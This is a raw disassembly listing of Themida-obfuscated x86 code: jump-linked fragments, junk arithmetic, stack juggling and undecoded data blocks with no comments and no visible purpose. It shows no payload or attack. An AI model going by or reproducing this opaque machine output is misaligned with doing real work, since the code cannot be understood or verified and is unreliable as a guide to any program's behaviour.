dd 408EBA00h, 0EA8114EDh, 87E7D42h, 0C348F281h, 0D0010C6Eh
dd 4C0835Ah, 5C240487h, 9831E950h, 0E9550000h, 9D94h
; ---------------------------------------------------------------------------
loc_54393C: ; CODE XREF: Themida_:005559D5j
pop eax
xor ch, 4Ah
jmp loc_55721B
; ---------------------------------------------------------------------------
loc_543945: ; CODE XREF: Themida_:0054643Ej
push ebx
mov ebx, 2B3C0Fh
sub edx, ebx
pop ebx
add esi, edx
jmp loc_54F7A3
; ---------------------------------------------------------------------------
loc_543955: ; CODE XREF: Themida_:00557763j
pop ebp
jmp loc_5529FE
; ---------------------------------------------------------------------------
loc_54395B: ; CODE XREF: Themida_:00553870j
mov [esp], edx
jmp loc_5485C1
; ---------------------------------------------------------------------------
loc_543963: ; CODE XREF: Themida_:0054EA88j
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
add esp, 4
push edi
mov edi, 4
jmp loc_54B13A
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 240C8B00h, 4C481h, 6BE90000h, 0F7000045h, 0C1D2F7D2h
dd 0D2F705EAh, 6C88E9h, 4EC8100h, 89000000h, 0E6E92414h
dd 8B000127h, 34E9242Ch, 330000C0h, 248B2404h, 24D36624h
dd 49E99C24h, 2DFFFFEDh, 6E9711DAh, 4A40A12Dh, 13282D7Ah
dd 16052476h, 55C324Eh, 6A570260h, 4EC8152h, 89000000h
dd 9768243Ch, 0FF224E56h, 815F2434h, 4C4h, 8EFC100h, 6ACAC781h
dd 89502781h, 0E95550F8h, 101F8h, 0E2895259h, 4C281h, 0EA810000h
dd 4, 1417E9h, 24348B00h, 5204C483h, 111A7E9h, 74FF5100h
dd 1EE90424h, 810000D2h, 713BBDC6h, 33C6813Ch, 0E94B5E75h
dd 22CFh, 5004C083h, 42474FFh, 24048F58h, 3324248Bh, 4312404h
dd 0FF55E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_543A5E: ; CODE XREF: Themida_:00552CF6j
or ebx, esi
jmp loc_54506D
; ---------------------------------------------------------------------------
db 81h, 0EFh, 0C9h
dd 0E92A5650h, 1073Eh
; ---------------------------------------------------------------------------
loc_543A70: ; CODE XREF: Themida_:00547D8Ej
pop edx
push edx
mov edx, 6E4433FFh
sub edi, edx
pop edx
add edi, 75127CA5h
jmp loc_553E42
; ---------------------------------------------------------------------------
db 5Ch, 0E9h, 0EBh
dd 29000103h, 0FF555BDDh, 0E9042474h, 2B5Ah, 0CBFE68B3h
dd 0E3C0C3FEh, 0A1EB8002h, 665BD900h, 309BB652h, 805A66F1h
dd 0CB2891E9h, 762E9h, 7E84B900h, 0B2684A71h, 8900003Fh
dd 29BA2414h, 81213B1Dh, 0AF0B63EAh, 0C53E96Dh, 0F3810000h
dd 3E6C66F9h, 3304F381h, 0C3817431h, 5C0D98DEh, 1C8BDE89h
dd 0E99DE924h, 0ED810000h, 4145443Bh, 84A6E9h
db 0
; ---------------------------------------------------------------------------
loc_543AFD: ; CODE XREF: Themida_:0054FC9Fj
sub al, 0A5h
jmp loc_549905
; ---------------------------------------------------------------------------
dd 0BE565053h, 178846A6h, 72E9DEF7h, 5B000019h, 0D77CE952h
dd 1C330000h, 241C3124h, 8B241C33h, 3D682424h, 89000074h
dd 0E189240Ch, 39F3E956h, 4330001h, 24043124h, 108DFE9h
dd 81DAF700h, 330AE5C2h, 5AD18973h, 801E9h
db 0
; ---------------------------------------------------------------------------
loc_543B51: ; CODE XREF: Themida_:0054EE8Dj
sub edx, 49AB7D8Dh
xor edx, 56EC34EDh
push edi
mov edi, 20F31929h
not edi
inc edi
push ebx
mov ebx, 2CE67A65h
add edi, ebx
pop ebx
jmp loc_545E03
; ---------------------------------------------------------------------------
dd 0C181E189h, 4, 0E904C183h, 0F24Ch, 4BA52h, 0D6010000h
dd 0BE36E9h
db 0
; ---------------------------------------------------------------------------
loc_543B91: ; CODE XREF: Themida_:0054513Ej
add ecx, ebx
sub ecx, 3A6A7B7Bh
jmp loc_54D369
; ---------------------------------------------------------------------------
dw 4BAh
dd 0E9000000h, 5C64h, 71BF5755h, 8116262Ah, 262A75F7h
dd 424DE916h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543BBA: ; CODE XREF: Themida_:00553A54j
sub esp, 4
mov [esp], esi
mov esi, edx
push esi
sub dword ptr [esp], 5B653D55h
jmp loc_549139
; ---------------------------------------------------------------------------
loc_543BD2: ; CODE XREF: Themida_:0054F3B6j
xchg eax, [esp]
pop esp
mov [esp], ebx
push 30E8h
mov [esp], eax
push edi
mov edi, 26A61942h
push edx
mov edx, 54B23445h
jmp loc_543826
; ---------------------------------------------------------------------------
loc_543BF2: ; CODE XREF: Themida_:0054D8D7j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
push ebx
push ecx
mov ecx, 64E325DAh
jmp loc_550CFB
; ---------------------------------------------------------------------------
db 0BAh
dd 5A5D363Ch, 4245431h, 45EBE95Ah, 8B660000h, 968240Ch
dd 8900000Ch, 3AE9242Ch, 40000A6h, 0F6C8FE20h, 2CC0FED8h
dd 0C0D0F65Ch, 0D8F604E8h, 0DCF0E9h, 4406BF00h, 0C1814475h
dd 17C2B9Eh, 0E981F901h, 17C2B9Eh, 9FE1815Fh, 0E9003474h
dd 125C3h
; ---------------------------------------------------------------------------
loc_543C5C: ; CODE XREF: Themida_:00542B2Bj
mov cx, [esp]
add esp, 2
mov cl, dh
pop edx
jmp loc_542725
; ---------------------------------------------------------------------------
dw 48Bh
dd 4EC8324h, 81242C89h, 4ECh, 24248900h, 4240483h, 5D2434FFh
dd 4C481h, 0C5810000h, 4, 10D39E9h, 240C8B00h, 104C483h
dd 84C581D5h, 5070CA45h, 3D55D8B8h, 2E8C150h, 170AF335h
dd 58C50119h, 5524148Bh, 0C5815D54h, 4, 4C581h, 0CDE90000h
dd 0FF000122h, 68533C77h, 5D1977BBh, 245C015Bh, 17ABE904h
dd 0E2C10001h, 0FF6EE905h, 0B8500000h, 7D70739Bh, 4244429h
dd 3A18E9h, 63055B00h, 29104A16h, 94DE9D8h, 1C870001h
dd 1C895C24h, 14B25224h, 119E1E9h, 7902BB00h, 0D8010C80h
dd 2DD8015Bh, 0C807902h, 4C5E955h, 3C8B0001h, 4C48124h
dd 8F000000h, 248B2404h, 0C8BE0F24h, 0F243E9h, 241C8B00h
dd 81E68956h, 4C6h, 4C68300h, 4A32E9h
db 0
; ---------------------------------------------------------------------------
loc_543D55: ; CODE XREF: Themida_:005468B6j
mov [esp], esp
jmp loc_54BE55
; ---------------------------------------------------------------------------
aVtP db 'VT^P¸·',0
dd 33251CA5h, 0F716D021h, 3366E9D8h, 0F8BE0001h, 0F71C5C27h
dd 31F681DEh, 527B6C7Dh, 4B494EBAh, 0F5E2810Bh, 0F7791A25h
dd 12AEE9D2h, 0E0890001h, 405h, 40500h, 4870000h, 24248B24h
dd 0F701E9h, 0E3895300h, 3900BA52h, 81424E52h, 9227BDEAh
dd 0C2814244h, 35B24DDAh, 1921E9h, 2EB8100h, 296C0B4Ch
dd 2C381CBh, 0E96C0B4Ch, 25F0h, 8124348Bh, 4ECh, 24048900h
dd 0F53EE9h
db 0
; ---------------------------------------------------------------------------
loc_543DE9: ; CODE XREF: Themida_:00547A43j
push ebx
mov ebx, esi
mov ecx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5537FA
; ---------------------------------------------------------------------------
dd 3B4FF681h, 0F5892F64h, 8FF5815Eh, 4D33B032h, 11E3BE9h
dd 52D3F600h, 0EE8034B6h, 0B6C68036h, 0E95AF328h, 11DAh
dd 24048F66h, 1B176866h, 242C8966h, 24043166h, 109CEE9h
dd 8BD80100h, 3BE9241Ch, 83000028h, 0C8B04C4h, 4C48324h
dd 0D1E95066h, 5A00003Bh, 0D40EE9h
db 0
; ---------------------------------------------------------------------------
loc_543E59: ; CODE XREF: Themida_:00545BC9j
pop esi
or eax, eax
jmp loc_54298E
; ---------------------------------------------------------------------------
db 0BFh, 90h, 0Fh
dd 0E7815FB9h, 653A25EEh, 3CF7814Fh, 816FDE20h, 62214FF7h
dd 1102E955h, 11050000h, 2D16F77Ah, 3CB77081h, 6AB95159h
dd 53D195Ah, 278857B8h, 0B82DC801h, 59278857h, 0DC11FF05h
dd 2FC7052Eh, 0F8011F02h, 22FC72Dh, 0F1B9511Fh, 49794F12h
dd 8103E9C1h, 0F5F3A1F1h, 0E9C82921h, 28D0h, 0DF09C62Dh
dd 5808310Bh, 2F5E9h, 0E9F38900h, 0BC7Bh, 50242C89h, 75D6E9h
dd 4EEC100h, 8107E6C1h, 28A634EEh, 5EF23193h, 3A3AE281h
dd 0EAC14FBEh, 0FFEA8305h, 0E055BF57h, 0FA310024h, 108B0E9h
db 0
; ---------------------------------------------------------------------------
loc_543F09: ; CODE XREF: Themida_:0054BE7Bj
neg edx
xor edx, 0F911B33Ah
add ebp, edx
pop edx
add ebp, 51A01D72h
sub eax, ebp
jmp loc_555D59
; ---------------------------------------------------------------------------
loc_543F21: ; CODE XREF: Themida_:005482A6j
pop ebp
jmp loc_54A139
; ---------------------------------------------------------------------------
db 5Ch
dd 10060E9h, 0E9F70100h, 83F8h, 7D68AFB9h, 0F1FBE96Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_543F3E: ; CODE XREF: Themida_:005546F5j
mov ecx, [esp]
add esp, 4
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
sub esp, 4
mov [esp], ebp
push 4F280DB9h
jmp loc_542F65
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
sub ebp, 68653805h
add ebp, eax
add ebp, 68653805h
mov eax, [esp]
jmp loc_544ED3
; ---------------------------------------------------------------------------
loc_543F94: ; CODE XREF: Themida_:00553B77j
add ebp, 3A27458h
push dword ptr [esp]
pop edx
jmp loc_551B07
; ---------------------------------------------------------------------------
loc_543FA3: ; CODE XREF: Themida_:00550291j
sub esi, ecx
jmp loc_555371
; ---------------------------------------------------------------------------
loc_543FAA: ; CODE XREF: Themida_:00549F79j
pop eax
add ecx, 2AD407ABh
add ecx, 6A941F07h
not ecx
sub ecx, 0C6020E9h
push ebx
mov ebx, 210612Ah
xor ecx, ebx
pop ebx
mov ebp, ecx
jmp loc_54A77F
; ---------------------------------------------------------------------------
db 81h
dd 985F0AF5h, 6EDC175h, 135C68h, 24148900h, 631A38BAh
dd 0C2814A0Bh, 19EA422Dh, 0E95AD521h, 0FF31h, 4C481h, 0C6810000h
dd 2246FBAEh, 0DBE9F731h
db 24h, 1, 0
; ---------------------------------------------------------------------------
loc_544007: ; CODE XREF: Themida_:0054D7E7j
pop ebx
jmp loc_557357
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 4EC8324h, 68240489h, 5B8Ch, 24048F54h, 4240481h, 0E9000000h
dd 0A30Ch, 1F68E957h, 0C15F0000h, 38E907EFh, 5E000106h
dd 4C481h, 0F7810000h, 49612C3h, 5D38E9h, 82E95B00h, 0E900005Fh
dd 0FFFFE6B4h, 4068E689h, 8900005Ch, 2DE9242Ch, 290000E7h
dd 0EA8158C2h, 593B4674h, 0BD8BE9h, 8BC78800h, 0C4832404h
dd 0F9B25204h, 0EA80E2D0h, 60CA80FEh, 0E9CDB450h, 0FFFFECAEh
dd 4240481h, 8B000000h, 89512414h, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 47C5E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5440B2: ; CODE XREF: Themida_:0055464Ej
mov ebx, 7AE91E04h
push ebx
pop esi
mov ebx, [esp]
jmp loc_553428
; ---------------------------------------------------------------------------
loc_5440C1: ; CODE XREF: Themida_:00553412j
pop eax
add eax, 4
jmp loc_55398D
; ---------------------------------------------------------------------------
dd 0E63AE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5440D2: ; CODE XREF: Themida_:005567D3j
xor eax, 6E2F3139h
add esi, eax
pop eax
push 5CE3h
jmp loc_54A72D
; ---------------------------------------------------------------------------
aIHY db '\‰,$h<Y',0
dd 0A111E900h, 0F8010000h, 545D7E2Dh, 2434FF51h, 4C4815Fh
dd 29000000h, 0B5BA52D8h, 2915FF2Dh, 24148BD0h, 58D6E9h
db 0
; ---------------------------------------------------------------------------
loc_544115: ; CODE XREF: Themida_:0054737Ej
pop ecx
add esp, 4
jmp loc_54270C
; ---------------------------------------------------------------------------
dw 0BD55h
dd 3253D17h, 1F8DBE56h, 0EEC100BAh, 14F75608h, 0E6C15E24h
dd 0FDEE8108h, 81233418h, 0EE38FEC6h, 21C58123h, 0E900271Ch
dd 7AB3h
; ---------------------------------------------------------------------------
loc_54414C: ; CODE XREF: Themida_:005428B7j
shl edx, 4
xor edx, 103F0E4Ah
add ecx, edx
pop edx
pop edi
jmp loc_54BE1F
; ---------------------------------------------------------------------------
dw 8953h
dd 5BDA89EBh, 81242C8Bh, 4C4h, 5AD78900h, 8BF8315Bh, 0C483243Ch
dd 4EC8104h, 89000000h, 68552434h, 2E516BCFh, 81242C8Bh
dd 4C4h, 77ED8100h, 534FE179h, 0BBh, 87EB2900h, 39E95BDDh
dd 8100012Bh, 0ED6902F6h, 9384E969h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5441B2: ; CODE XREF: Themida_:00549ADBj
xchg ebp, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_548524
; ---------------------------------------------------------------------------
dw 6859h
dd 3D12h, 68240489h, 5F823730h, 0AA6E9h
db 0
; ---------------------------------------------------------------------------
loc_5441D9: ; CODE XREF: Themida_:0054602Dj
xor ebx, 798A4D23h
sub ebx, 1
xor ebx, 53FC3605h
and ebx, 7C917FECh
xor ebx, 31EB6DF3h
jmp loc_54333F
; ---------------------------------------------------------------------------
loc_5441FC: ; CODE XREF: Themida_:0054EDF9j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_552CB2
; ---------------------------------------------------------------------------
loc_54420A: ; CODE XREF: Themida_:0055323Cj
neg ebx
push esi
jmp loc_54C439
; ---------------------------------------------------------------------------
loc_544212: ; CODE XREF: Themida_:005500D2j
push dword ptr [esp]
pop esi
jmp loc_5540D8
; ---------------------------------------------------------------------------
db 0FFh
dd 56592434h, 24348B54h, 8104C483h, 4C6h, 2619E900h, 0CF290000h
dd 5C17E9h, 0FC33000h, 8B66C0B6h, 2A682414h, 8900007Dh
dd 0E189240Ch, 4BD55h, 0E9810000h, 67E02B1Bh, 5FC1BB53h
dd 22E95A39h, 87000090h, 895C2414h, 0BB532434h, 5EC70E47h
dd 7918BE56h, 0F3015458h, 0BC3815Eh, 0E96951C2h, 0F9BBh
dd 42474FFh, 24048F5Fh, 7341685Ch, 1C890000h, 100BB24h
dd 0D8210000h, 81241C8Bh, 4ECh, 241C8900h, 4EC81h, 24890000h
dd 29AFE924h, 51E90001h, 0F7FFFFE4h, 147DE9D8h, 0F5010000h
dd 4EC835Eh, 51241489h, 0E361E9h
db 0
; ---------------------------------------------------------------------------
loc_5442D1: ; CODE XREF: Themida_:0054A24Ej
mov ebp, [esp]
add esp, 4
jmp loc_545AC7
; ---------------------------------------------------------------------------
dd 5C242C33h, 0E92424D3h, 0FFFFE424h, 5B66F820h, 5166012Ch
dd 5166C588h, 12454F6h, 88535966h, 5BF888EFh, 0EFE95966h
dd 5300010Fh, 2BE947B7h, 53000043h, 0FFE44DE9h, 59E950FFh
db 2Ah, 1, 0
; ---------------------------------------------------------------------------
loc_54431B: ; CODE XREF: Themida_:0054D8C9j
pop esp
jmp loc_54F45B
; ---------------------------------------------------------------------------
db 50h, 0B8h, 1Bh
dd 81789B16h, 1135EC2h, 81C22947h, 1135EEAh, 0C2295847h
dd 2139BE56h, 0F68124C5h, 5C5E3722h, 515EF201h, 7B2A63B9h
dd 30D5E95Ch, 4C010000h, 0E9590424h, 0B3A8h, 8758C601h
dd 248B2434h, 4EC8324h, 0BD242C89h, 469F3B70h, 4BB368h
dd 241C8900h, 260C68h, 24048900h, 60C491B8h, 1F23E9B9h
dd 4B90001h, 1000000h, 6B6859CAh, 89000030h, 72E9243Ch
db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54439F: ; CODE XREF: Themida_:00549DCEj
push 6C8Fh
jmp loc_54852C
; ---------------------------------------------------------------------------
loc_5443A9: ; CODE XREF: Themida_:00543462j
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 64862109h
add ebp, 0D2E0E1A4h
xor ebp, 376702A9h
add esi, ebp
mov ebp, [esp]
jmp loc_554D05
; ---------------------------------------------------------------------------
db 1
dd 0C3295DEBh, 8904EC83h, 90E92434h
db 21h, 1, 0
; ---------------------------------------------------------------------------
loc_5443EB: ; CODE XREF: Themida_:005572DFj
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push esi
mov esi, esp
add esi, 4
push ebp
jmp loc_54648A
; ---------------------------------------------------------------------------
loc_544407: ; CODE XREF: Themida_:00551C9Fj
jmp loc_54270C
; ---------------------------------------------------------------------------
dd 3574C681h, 0F0091E39h, 8324348Bh, 85E904C4h, 2D000033h
dd 53B9295Dh, 81240C8Bh, 4C4h, 1B8CE900h, 45050001h, 8B132C2Fh
dd 0C481243Ch, 4, 0ADB69335h, 5DEA81D8h, 8162CA3Dh, 0B4569DC2h
aMBAvMbBskh db 'M)ÂêV´MÂ]=ÊbéªH',0 ; DATA XREF: ___:off_43668Co
align 4
dd 72B0C381h, 0C3810544h, 509941AAh, 4CE9D301h, 810000B1h
dd 4C4h, 1FE2E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544482: ; CODE XREF: Themida_:00556AFDj
push esi
mov esi, 7DE64376h
sub esi, 5E664DB7h
jmp loc_55134F
; ---------------------------------------------------------------------------
aIrqsw db '‰àQéWÐ',0
dw 8100h
aSAazrGcssiu db 'é¶aAzRºÐG–sé›î',0
align 4
loc_5444AC: ; CODE XREF: Themida_:0054E072j
mov [esp], edx
mov edx, esp
jmp loc_547248
; ---------------------------------------------------------------------------
loc_5444B6: ; CODE XREF: Themida_:00543107j
pop ebx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push edi
jmp loc_547DBF
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 240C8700h, 261D685Ch, 34890000h, 0A20FE924h, 3C8B0000h
dd 22C5E924h
db 1, 0
; ---------------------------------------------------------------------------
loc_5444E6: ; CODE XREF: Themida_:0054EEADj
mov [esp], ebp
push 71CEh
mov [esp], ecx
mov ecx, 25536977h
and ecx, 64FD23D7h
jmp loc_542D68
; ---------------------------------------------------------------------------
loc_544501: ; CODE XREF: Themida_:005499E6j
mov [esp], esi
sub esp, 4
jmp loc_548BE1
; ---------------------------------------------------------------------------
db 58h
dd 11316E9h, 7878BB00h, 0F33161E3h, 5024348Bh, 4055854h
dd 83000000h, 48704C0h, 0B8505C24h, 704122BAh, 0CE38B951h
dd 662D3E7Bh, 11B2A23h, 236605C8h, 0C8B1B2Ah, 4C48124h
dd 0E9000000h, 0F71Ch, 39E95455h, 1000087h, 76BC05F0h
dd 0E95E495Eh, 0FFFFE744h, 815BDE01h, 0FA4BEFEFh, 81F70167h
dd 0FA4BEFC7h, 0FE015E67h, 83243C8Bh, 0EEC104C4h, 4EC8302h
dd 934FE9h, 3E0C100h, 0CC170D35h, 0EC2D401Bh, 214BD9EAh
dd 402DE9C1h, 0EEC10000h, 0CDB9E902h, 0DD290000h, 64CDED81h
dd 815B4FF8h, 2AE929C5h, 5DEF01D1h, 815FFD09h, 1C5h, 0F3CD8100h
dd 83486769h, 48904ECh, 30E6B824h, 25402D5Bh, 1939105Ch
dd 2FE9BD55h, 0E8094852h, 5C77255Dh, 8C352E09h, 29844663h
dd 2434FFC5h, 4C48158h, 29000000h, 0CBE95DE8h
db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544603: ; CODE XREF: Themida_:00547577j
add ebp, ecx
pop ecx
xor ebp, [esp]
xor [esp], ebp
jmp loc_54B06A
; ---------------------------------------------------------------------------
loc_544611: ; CODE XREF: Themida_:005470C7j
pop ebx
not ebx
shl ebx, 4
inc ebx
push edx
push ebp
jmp loc_54829F
; ---------------------------------------------------------------------------
loc_54461F: ; CODE XREF: Themida_:005435D9j
add ebx, edi
push edx
jmp loc_5532DF
; ---------------------------------------------------------------------------
aPswz db ']Péw§',0
align 2
loc_54462E: ; CODE XREF: Themida_:00556748j
pop ecx
mov ecx, 0D94BABC2h
sub ecx, 4801509Ch
add ecx, esi
add ecx, 4801509Ch
jmp loc_550505
; ---------------------------------------------------------------------------
loc_544647: ; CODE XREF: Themida_:0054FCACj
mov edi, [esp]
add esp, 4
jmp loc_551E60
; ---------------------------------------------------------------------------
loc_544655: ; CODE XREF: Themida_:00554191j
push dword ptr [esp+4]
mov ecx, [esp]
push eax
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_548EE6
; ---------------------------------------------------------------------------
dw 0F008h
dd 92045A66h, 783DE9h
db 0
; ---------------------------------------------------------------------------
loc_544681: ; CODE XREF: Themida_:00556512j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ecx
jmp loc_54EFFA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54D8CE
; ---------------------------------------------------------------------------
loc_5446AD: ; CODE XREF: Themida_:00552AEDj
pop dword ptr [esp]
mov esp, [esp]
push 5802h
mov [esp], edx
sub esp, 4
mov [esp], ebp
push 245119FBh
pop ebp
jmp loc_55717D
; ---------------------------------------------------------------------------
aQSsr db 9,'ß[Áï',7,'Séà!',0
dw 8300h
dd 8F5404ECh, 4832404h, 148B0424h, 4C48324h, 4C281h, 0C2830000h
dd 24148704h, 2C6815Ch, 33000000h, 34312434h, 24343324h
dd 6624248Bh, 0E99CC83Bh, 0FFFFDFF8h
; ---------------------------------------------------------------------------
loc_544714: ; CODE XREF: Themida_:005476B9j
mov edx, [esp]
add esp, 4
jmp loc_549D0C
; ---------------------------------------------------------------------------
loc_544722: ; CODE XREF: Themida_:00557143j
mov cl, 0EDh
jmp loc_556ECF
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0D7h
dd 2110A62Ah, 0DDE95DEAh
db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544737: ; CODE XREF: Themida_:00549A37j
mov esp, [esp]
mov [esp], eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
sub esp, 4
mov [esp], edi
push esi
mov esi, 4
mov edi, esi
pop esi
sub eax, 6B3C7FEFh
add eax, edi
add eax, 6B3C7FEFh
push dword ptr [esp]
pop edi
jmp loc_5492D0
; ---------------------------------------------------------------------------
dd 0C3236C05h, 7A0C2D0Dh, 0BA523D59h, 7BA76312h, 525AD029h
dd 0B6B0E9h, 0D8F75A00h, 68726856h, 0C890000h, 514AE924h
dd 148B0000h, 4C48124h, 0E9000000h, 0AD56h, 0C781E789h
dd 4, 4EF81h, 3C870000h, 24895C24h, 24048324h, 24048F04h
dd 4240483h, 0E189515Ah, 4C181h, 97E90000h, 5D0000C7h
dd 0B9B95159h, 5708C26Eh, 7C0AC6BFh, 0B8FEE901h, 0C4830000h
dd 0FF0CE904h, 0BB530000h, 34BE26D3h, 0D15BD931h, 58E981E1h
dd 89A40665h, 0BB6E9CDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544806: ; CODE XREF: Themida_:00548750j
sub di, 25EDh
jmp loc_5485B5
; ---------------------------------------------------------------------------
loc_544810: ; CODE XREF: Themida_:00547DE4j
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
sub ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55122F
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 2C08300h, 31240433h, 4332404h, 2501E924h, 8B660001h
dd 0A7682404h, 89000031h, 0E0892404h, 1032AE9h
db 0
; ---------------------------------------------------------------------------
loc_544855: ; CODE XREF: Themida_:0054B2EAj
push esi
mov esi, 3DAC5553h
dec esi
jmp loc_555079
; ---------------------------------------------------------------------------
db 81h, 0C5h, 36h
dd 163537Eh, 36ED81FDh, 8163537Eh, 997FC6C5h, 0E9535F4Ch
dd 11DBAh
; ---------------------------------------------------------------------------
loc_54487C: ; CODE XREF: Themida_:loc_54C945j
; Themida_:00550C41j ...
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5550AA
; ---------------------------------------------------------------------------
loc_544887: ; CODE XREF: Themida_:00547B32j
sub ah, 0FFh
push ebx
mov bh, 4Ah
or bh, 0D2h
shl bh, 3
jmp loc_545592
; ---------------------------------------------------------------------------
dd 0E9F18951h, 0FA4Fh, 0E1C0D1F6h, 0FE95008h, 58000064h
dd 0FFEDEB81h, 0D829E3C4h, 0FFF440E9h, 243C31FFh, 5C243C33h
dd 0E9240C89h, 0A8B6h, 5EA5BF66h, 83C78166h, 0F82966DCh
dd 2434FF5Fh, 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
dd 6604C483h, 2246C81h, 81660B0Bh, 5F02246Ch, 44016631h
dd 81660224h, 5F022444h, 66526631h, 660B0BBAh, 4245401h
dd 58665A66h, 202CE9h, 24148900h, 665051B6h, 5240B551h
dd 0DCE9EE88h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54492F: ; CODE XREF: Themida_:0054D2CAj
not dl
jmp loc_54D1FE
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 2474FF52h, 48F5A04h, 24248B24h, 9C2424D2h, 0FFF965E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_544951: ; CODE XREF: Themida_:00547208j
xor edi, 526A8D76h
sub ecx, 6A435E35h
add ecx, edi
add ecx, 6A435E35h
pop edi
jmp loc_553B93
; ---------------------------------------------------------------------------
aSrn db '[éàn',0
dd 0B60F6600h, 0C5686602h, 4896662h, 0DD8AE924h, 1489FFFFh
dd 548E924h, 0EF810001h, 641FFFFEh, 0E2E9FB01h
db 9Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544997: ; CODE XREF: Themida_:00544BF4j
push esi
jmp loc_551AB2
; ---------------------------------------------------------------------------
db 1, 0C8h, 59h
aVsD db 'VéêD',0
align 2
loc_5449A6: ; CODE XREF: Themida_:00544E5Bj
xchg edx, [esp]
pop esp
mov ebp, [esp]
push edx
jmp loc_54B287
; ---------------------------------------------------------------------------
loc_5449B3: ; CODE XREF: Themida_:0054A199j
mov ebx, 142318FAh
jmp loc_54C9F8
; ---------------------------------------------------------------------------
loc_5449BD: ; CODE XREF: Themida_:0055731Ej
xor eax, [esp]
mov esp, [esp]
jmp loc_550DC1
; ---------------------------------------------------------------------------
dd 0D40A1E05h, 2DE8015Dh, 5DD40A1Eh, 0E9242C8Bh, 0FFFFDFDDh
; ---------------------------------------------------------------------------
loc_5449DC: ; CODE XREF: Themida_:0054F5BEj
mov ebx, [esp]
jmp loc_545537
; ---------------------------------------------------------------------------
loc_5449E4: ; CODE XREF: Themida_:00542E97j
add esp, 2
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
db 61h, 0C3h, 83h
dd 348904ECh, 2474FF24h, 2D3FE904h, 0DFF70000h, 8106EFC1h
dd 4F425DF7h, 0BA30E927h, 0C4830000h, 0F5EF8004h, 7CB45066h
dd 0C01BF480h, 8AE906ECh, 590000F9h, 6075EB81h, 0F3012E51h
dd 6075C381h, 835E2E51h, 72E904C3h, 54000014h, 4C3815Bh
dd 81000000h, 4EBh, 241C8700h, 0FFEC5EE9h, 81D701FFh, 2F1824C7h
dd 3C875A3Fh, 24248B24h, 7269E9h
db 0
; ---------------------------------------------------------------------------
loc_544A65: ; CODE XREF: Themida_:00551A81j
push dword ptr [esp]
push dword ptr [esp]
pop ebx
jmp loc_5558FF
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aXs7 db 'Xé$7',0
align 2
loc_544A7A: ; CODE XREF: Themida_:0054B642j
push esi
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5430FB
; ---------------------------------------------------------------------------
db 2Dh
dd 0B8663D1h, 0D105D801h, 510B8663h, 0FE683CB9h, 4A06829h
dd 4890000h, 51685224h, 0E907F942h, 0FFFFEDE3h, 0CC03AC2Dh
dd 58C52151h, 4F8DC581h, 0E5812A8Fh, 634E5E68h, 2BA7E581h
dd 0C5811A3Bh, 9BD14C7h, 2C8BE931h, 4C48324h, 0B5C18141h
dd 295B3F08h, 0C58159CBh, 5C180276h, 0BE56DD01h, 5C180276h
dd 0F3E2E9h, 62B9BD00h, 0DDF72D09h, 8E5C14Dh, 701F581h
dd 0BB53023Eh, 1A9003E7h, 815BDD21h, 0FEBD5AEDh, 0B19BE90Bh
dd 0C1810000h, 4, 4C181h, 0FF510000h, 59042474h, 0B31CE9h
dd 0E9C7FE00h, 0E536h, 0B3535866h, 3E3C091h, 43F1E9h
db 0
; ---------------------------------------------------------------------------
loc_544B41: ; CODE XREF: Themida_:0054A458j
push ebx
jmp loc_54D3C1
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 240C8700h, 0E84E95Ch
db 1, 0
; ---------------------------------------------------------------------------
loc_544B56: ; CODE XREF: Themida_:00545836j
not ebp
dec ebp
jmp loc_549DB9
; ---------------------------------------------------------------------------
dw 0E581h
dd 50BF0114h, 10C6E9h, 7EB8100h, 519FAB8h, 7B560209h, 351FF405h
dd 15BA5214h, 0F72DE369h, 3EAC1D2h, 0C2814A42h, 2FC29469h
